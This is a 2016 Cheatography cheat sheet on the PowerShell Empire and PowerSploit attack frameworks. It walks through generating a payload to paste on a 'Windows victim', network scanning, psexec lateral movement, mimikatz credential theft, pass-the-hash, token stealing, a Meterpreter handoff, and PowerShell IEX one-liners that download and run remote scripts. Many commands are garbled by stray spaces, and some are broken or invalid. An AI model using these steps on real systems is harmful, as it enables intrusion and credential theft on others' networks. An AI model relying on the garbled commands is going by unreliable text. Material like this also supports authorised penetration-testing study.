

Resources

Official Site - <http://www.powershell-empire.com>
 Indepth Tutorial + Word Excel Macro Example - <https://www.youtube.com/watch?v=aDeJBe6eqps>
 ~39:30 - BSides DC 2015 - Bridging the Gap: Lessons in Adversarial Tradecraft <https://www.youtube.com/watch?v=xHkRhRo3l8o>
 Offensive Active Directory with Powershell <https://www.youtube.com/watch?v=cXWtu-qalSs>

Installation

```
git clone https://github.com/powershell-empire/empire
sudo apt-get install python-pip python-openssl
cd empire
cd setup
sudo ./install.sh
```

Execution & Exploitation

Create listener and generate Base64 payload

```
sudo ./empire
listeners
set Name listen_ername
execute
usestager launcher listen_ername
execute (generate payload, copy & paste into cmd on Windows victim)
agents
```

Execution & Exploitation (cont)

Note: Type in usestager then hit TAB twice for more options.

Post Exploitation

```
agents
interact AGENTNAME
sysinfo
usemodule situat ion al_awa reness /ne two rk/ dirpscan
set Range 10.0.0.0- 10.0.0.255
execute
...
usemodule situat ion al_awa reness /ne two rk/ powershell
set Range 10.0.0.0- 10.0.0.255
execute
...
usemodule situat ion al_awa reness /ne two rk/ powershell
execute (computer-names vulnerable to psexec will appear)
usemodule latera l_m ove men t/l nvo ke_psexec
info
set Comput erName WIN10C OMP.bl ah.com (machine to attack)
info
execute
You can repeat the above process to infect other computers on the dom
```

Post Exploitation (cont)

agents (look for a user with * as this indicates admin)
 interact AGENTNAME
 mimikatz (collect creds, etc...)
 creds
 dir \\COMP UTE RNA ME\C\$\creds
 creds
 pth_1 (passthehash using cred 1, a PID will be created)
 steal_token PIDNUM
 dir \\COMP UTE RNA ME\C\$\

Lateral Movement

```
usemodule situat ion al_awa reness /ne two rk/ powershell
ala dmi n_a ccess
interfere /ne two rk/ powershell
execute (computer-names vulnerable to psexec will appear)
usemodule latera l_m ove men t/l nvo ke_psexec
info
set Comput erName WIN10C OMP.bl ah.com (machine to attack)
info
execute
```

Connect to a Meterpreter Multi-Handler

Start your meterpreter multi handle following:
 interact NAME (target name from usemodule code_e xec uti c ellcode
 info
 set lhost IPADDRESS (the IP in session)
 set lport PORT (the port in your session)
 execute (wait...)
 (a meterpreter session will appear)

Powersploit

Source - <https://github.com/PowershellMafia/PowerSploit/>
 Demos
 User Hunting - <https://www.six-dub.net/?p=591>
 Reverse meterpreter shell - DLL Injection using PowerSploit and Metasploit
<https://www.youtube.com/watch?v=ykoD5Oy8CKQ>
 PowerShell Toolkit: PowerSploit - Gaining Shells Without Writing To Disk
<https://www.youtube.com/watch?v=LEll6qa-REY>

Powersploit Example

```
cmd
powershell
IEX (New-Object Net.WebClient).Download("https://github.com/PowerShellMafia/Powercat/releases/download/v1.0/Powercat.ps1")
```

Powersploit Priv Esc

```
cmd
powershell
IEX (New-Object Net.WebClient).Download("https://raw.githubusercontent.com/Powertocat/Powercat/master/Powercat.ps1")
IEX (New-Object Net.WebClient).Download("https://raw.githubusercontent.com/Powertocat/Powercat/master/Powercat.ps1")
Invoke-AllChecks
```

By fred
cheatography.com/fred/

Published 12th September, 2016.
Last updated 12th September, 2016.
Page 2 of 2.

Sponsored by **Readable.com**
Measure your website readability!
<https://readable.com>